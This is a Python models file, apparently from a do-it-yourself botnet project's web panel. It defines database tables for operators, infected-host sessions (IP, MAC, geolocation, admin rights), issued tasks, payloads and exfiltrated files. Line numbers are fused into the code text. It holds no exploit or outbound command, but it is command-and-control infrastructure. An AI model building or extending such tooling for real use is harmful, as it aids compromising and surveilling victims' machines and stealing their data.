Path: blob/master/web-gui/buildyourownbotnet/models.py
1292 views
from datetime import datetime1from flask_bcrypt import Bcrypt2from flask_login import UserMixin3from flask_sqlalchemy import SQLAlchemy45# database6db = SQLAlchemy()78# hashing for passwords for user security9bcrypt = Bcrypt()1011from buildyourownbotnet import login_manager1213@login_manager.user_loader14def load_user(user_id):15return User.query.get(int(user_id))1617class User(db.Model, UserMixin):18id = db.Column(db.Integer, primary_key=True)19username = db.Column(db.String(32), unique=True, nullable=False)20password = db.Column(db.String(60), nullable=False)21joined = db.Column(db.DateTime, default=datetime.utcnow(), nullable=False)22bots = db.Column(db.Integer, default=0)23sessions = db.relationship('Session', backref='creator', lazy=True)24payloads = db.relationship('Payload', backref='creator', lazy=True)25files = db.relationship('ExfiltratedFile', backref='creator', lazy=True)2627def __repr__(self):28return "User('{}')".format(self.username)2930class Session(db.Model):31id = db.Column(db.Integer, nullable=False)32uid = db.Column(db.String(32), primary_key=True, unique=True, nullable=False)33online = db.Column(db.Boolean, nullable=False)34joined = db.Column(db.DateTime, nullable=False)35last_online = db.Column(db.DateTime, nullable=False, default=datetime.utcnow())36public_ip = db.Column(db.String(42))37local_ip = db.Column(db.String(42))38mac_address = db.Column(db.String(17))39username = db.Column(db.String(32))40administrator = db.Column(db.Boolean)41platform = db.Column(db.String(5))42device = db.Column(db.String(32))43architecture = db.Column(db.String(2))44latitude = db.Column(db.Float)45longitude = db.Column(db.Float)46new = db.Column(db.Boolean, default=True, nullable=False)47owner = db.Column(db.String(120), db.ForeignKey('user.username'), nullable=False)48tasks = db.relationship('Task', backref='issuer', lazy=True)4950def __repr__(self):51return "Session('{0}', '{1}')".format(self.id, self.owner)5253def serialize(self):54return {55"id": self.id,56"uid": self.uid,57"online": self.online,58"joined": self.joined.__str__(),59"last_online": self.last_online.__str__(),60"public_ip": self.public_ip,61"local_ip": self.local_ip,62"mac_address": self.mac_address,63"username": self.username,64"administrator": self.administrator,65"platform": self.platform,66"device": self.device,67"architecture": self.architecture,68"latitude": self.latitude,69"longitude": self.longitude,70"owner": self.owner71}7273class Task(db.Model):74id = db.Column(db.Integer, primary_key=True)75uid = db.Column(db.String(32), unique=True, nullable=False)76task = db.Column(db.Text)77result = db.Column(db.Text)78issued = db.Column(db.DateTime, nullable=False, default=datetime.utcnow())79completed = db.Column(db.DateTime)80session = db.Column(db.String(32), db.ForeignKey('session.uid'), nullable=False)8182def __repr__(self):83return "Task('{0}', '{1}')".format(self.id, self.task)8485def serialize(self):86return {87"id": self.id,88"uid": self.uid,89"task": self.task,90"result": self.result,91"issued": self.issued.__str__(),92"completed": self.completed.__str__()93}9495class Payload(db.Model):96id = db.Column(db.Integer, primary_key=True)97filename = db.Column(db.String(34), unique=True, nullable=False)98operating_system = db.Column(db.String(3))99architecture = db.Column(db.String(14))100created = db.Column(db.DateTime, nullable=False, default=datetime.utcnow())101owner = db.Column(db.String(120), db.ForeignKey('user.username'), nullable=False)102103def __repr__(self):104return "Payload('{0}', '{1}')".format(self.filename, self.owner)105106def serialize(self):107return {108"id": self.id,109"filename": self.filename,110"operating_system": self.operating_system,111"architecture": self.architecture,112"created": self.created113}114115class ExfiltratedFile(db.Model):116id = db.Column(db.Integer, primary_key=True)117filename = db.Column(db.String(34), unique=True, nullable=False)118session = db.Column(db.String(15), nullable=False)119module = db.Column(db.String(15), nullable=False)120created = db.Column(db.DateTime, nullable=False, default=datetime.utcnow())121owner = db.Column(db.String(120), db.ForeignKey('user.username'), nullable=False)122123def __repr__(self):124return "ExfiltratedFile('{0}', '{1}')".format(self.filename, self.owner)125126def serialize(self):127return {128"id": self.id,129"filename": self.filename,130"session": self.session,131"module": self.module,132"created": self.created133}134135136